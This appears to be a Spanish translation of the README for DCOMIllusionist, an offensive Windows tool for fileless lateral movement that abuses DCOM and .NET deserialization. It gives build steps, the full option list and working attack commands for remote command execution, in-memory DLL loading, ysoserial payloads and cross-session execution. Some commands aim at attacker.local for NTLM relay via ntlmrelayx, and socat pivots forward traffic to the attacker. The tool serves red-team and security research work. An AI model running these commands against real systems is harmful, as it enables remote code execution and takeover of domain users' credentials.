
Técnicas de movimiento lateral en memoria y sin archivos mediante DCOM a través de la deserialización de .Net
Técnica de movimiento lateral sin archivos para Windows.
Introducción • Compilación • Uso • Detalles técnicos • Agradecimientos
Esta herramienta permite la ejecución remota de código en una máquina Windows, si se dispone de privilegios administrativos. Aprovecha DCOM y el comportamiento de los servidores DCOM de .NET, que deserializan automáticamente los objetos entrantes. Esto hace posible ejecutar comandos arbitrarios o cargar DLL sin escribir en el disco.
Descubierto originalmente por James Forshaw como una técnica de escalada de privilegios, este método se adaptó para el movimiento lateral modificando de forma remota claves específicas del Registro. Además, admite la explotación entre sesiones a través de DCOM, lo que permite ejecutar comandos arbitrarios dentro de la sesión de otro usuario bajo el contexto de seguridad de dicha sesión.
Funciona en estaciones de trabajo y servidores, pero se requiere acceso de red entre la máquina objetivo y una máquina controlada por el atacante para que esta técnica funcione.
Más detalles en esta sección.
Hay una versión publicada disponible, o se puede compilar manualmente:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
Se requiere acceso administrativo tanto en el host atacante (mediante un shell elevado) como en la máquina objetivo para usar esta herramienta correctamente.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionComo se explicó anteriormente, se puede especificar una sesión para ejecutar comandos arbitrarios en la sesión de otro usuario.
[!WARNING] Esto solo funciona con AppIDs configurados para ejecutarse con la identidad del usuario interactivo. Esto se gestiona automáticamente, no es necesario especificar el argumento
--appid, ya que la herramienta usará por defecto el AppID asociado con User Account Control Settings.
[!IMPORTANT] Solo funciona si la máquina atacante está unida a un dominio; más detalles aquí.
--list-sessionsEnumera las sesiones interactivas y activas remotas en el objetivo mediante WTSEnumerateSessions.
--listenSi la máquina objetivo no puede alcanzar directamente el host del atacante, el exploit fallará. Sin embargo, es posible especificar una máquina intermedia a la que el objetivo pueda conectarse. Utilizando herramientas como socat, el tráfico se puede reenviar desde este intermediario hasta el host del atacante.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidAl ejecutar el exploit desde un shell runas /netonly, la identidad asociada no se puede recuperar automáticamente. Por lo tanto, es necesario proporcionarla explícitamente mediante la opción --attacker-sid para que el ataque tenga éxito.
--exec--exec se puede usar junto con --exec-args para ejecutar binarios arbitrarios en el objetivo:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execes solo un envoltorio para eso; se puede lograr lo mismo con:--ps-exec calc
--curlCurl puede ser útil en escenarios de explotación entre sesiones. Si se dispone de privilegios administrativos en una máquina y, por ejemplo, un administrador de dominio está activo en la sesión 3, es posible iniciar una solicitud HTTP autenticada, puramente a través de .NET, en nombre de ese usuario. Al dirigir esta solicitud a una máquina controlada por el atacante que ejecute ntlmrelayx.py, se pueden realizar ataques tradicionales de relay NTLM para comprometer al usuario.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllEs posible cargar una DLL arbitraria completamente en memoria, sin tocar el disco. Por ejemplo:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
Por defecto, se ejecuta el método estático Run (sin parámetros) de la clase especificada. Este comportamiento se puede personalizar mediante el parámetro --dll-method.
--yso-b64Para la generación avanzada de gadgets, se puede usar Ysoserial.net. El payload codificado en Base64 resultante se puede proporcionar directamente; se encapsulará dentro de una instancia de RolePrincipal y se deserializará en la máquina objetivo.
[!WARNING] Solo funciona con BinaryFormatter
--test-networkEjecuta las mismas operaciones que el exploit normal, pero envía solo un payload de prueba para confirmar que el objetivo puede conectarse a la máquina del atacante.
--hkuTodo se puede explotar desde un usuario de bajos privilegios usando HKEY_USERS en lugar de la clave raíz del registro HKLM. Esto se puede usar si un usuario es miembro del grupo Performance Log Users o Distributed COM Users. En este caso, se debe proporcionar --attacker-sid para acceder a la ruta de Registro correcta. También se debe proporcionar un CLSID escribible (consulta --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidSe crean un CLSID y un AppId falsos. Se establecen permisos en el AppId para que el usuario actual o el --attacker-sid puedan lanzar y activar el servidor DCOM. Esto es útil cuando se realiza explotación desde un usuario de bajos privilegios en HKU.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Cuando un servidor DCOM escrito en .NET recibe un objeto, consulta la interfaz DCOM IManagedObject. Si la interfaz está presente, el servidor invoca el método GetSerializedBuffer. El cliente responde con una versión serializada del objeto, que el servidor deserializa, lo que resulta en la ejecución de código arbitrario. Para que esto tenga éxito, la máquina víctima debe tener acceso de red directo al host del atacante (consulta --listen).
Al forjar OBJREFs DCOM arbitrarios, es posible redirigir la máquina objetivo a cualquier sistema remoto. Por ejemplo, se puede usar socat para reenviar tráfico en el puerto 135 (y en otro puerto arbitrario) hacia la máquina realmente controlada por el atacante. En la prueba de concepto de James Forshaw, que más tarde se convirtió en la base de los exploits «Potato», utilizó el GUID de PointerMoniker para serializar objetos arbitrarios en OBJREFs. Este enfoque logró desencadenar la autenticación, pero falló en los pasos posteriores. Al usar en su lugar el GUID del marshaller estándar, es posible crear y enviar OBJREFs arbitrarios totalmente funcionales.
Sin embargo, ningún servidor DCOM de .NET está expuesto por defecto en las versiones de Windows Server probadas. Para habilitar la interacción remota, el Registro de Windows se puede modificar de forma remota para asociar un AppID personalizado a un CLSID de .NET, haciéndolo accesible a través de DCOM. Con una selección cuidadosa del AppID, también es posible habilitar la explotación entre sesiones, mediante el moniker de sesión, si hay una sesión interactiva presente en la máquina objetivo. Esto fue nuevamente descubierto y detallado por James Forshaw aquí y aquí.
Para que el exploit tenga éxito, el servidor objetivo debe recuperar los datos del objeto serializado (el gadget) desde la máquina controlada por el atacante. Esto requiere que el servidor se autentique contra el host del atacante.
Si el AppID no está configurado para ejecutarse con la identidad del usuario interactivo, el intento de autenticación se originará como Anonymous. Para permitirlo, la máquina del atacante debe configurarse para aceptar autenticación DCOM anónima mediante la modificación de sus permisos de acceso DCOM predeterminados.
Cuando el AppID está asociado al usuario interactivo, la autenticación se realiza utilizando la identidad del usuario en la sesión especificada (mediante --session) o, por defecto, en la sesión 0. En este caso, la máquina del atacante debe estar unida a un dominio para aceptar la autenticación del usuario. Por eso, el grupo Everyone se agrega temporalmente a los permisos de acceso DCOM predeterminados para permitir una autenticación exitosa.
Es importante señalar que solo se modifican los permisos de acceso predeterminados; los permisos de lanzamiento y activación permanecen sin cambios. Todos los cambios se revierten una vez que la operación finaliza. Si algo sale mal, se crea una copia de seguridad de la configuración original que puede restaurarse.
[!CAUTION] La máquina del atacante queda temporalmente en un estado más permisivo durante el exploit, pero todos los cambios se revierten después.
TextFormattingRunProperties; mostró cómo cargar DLL arbitrarias en memoria. Esto se reutilizó para los ataques --curl y --file-write.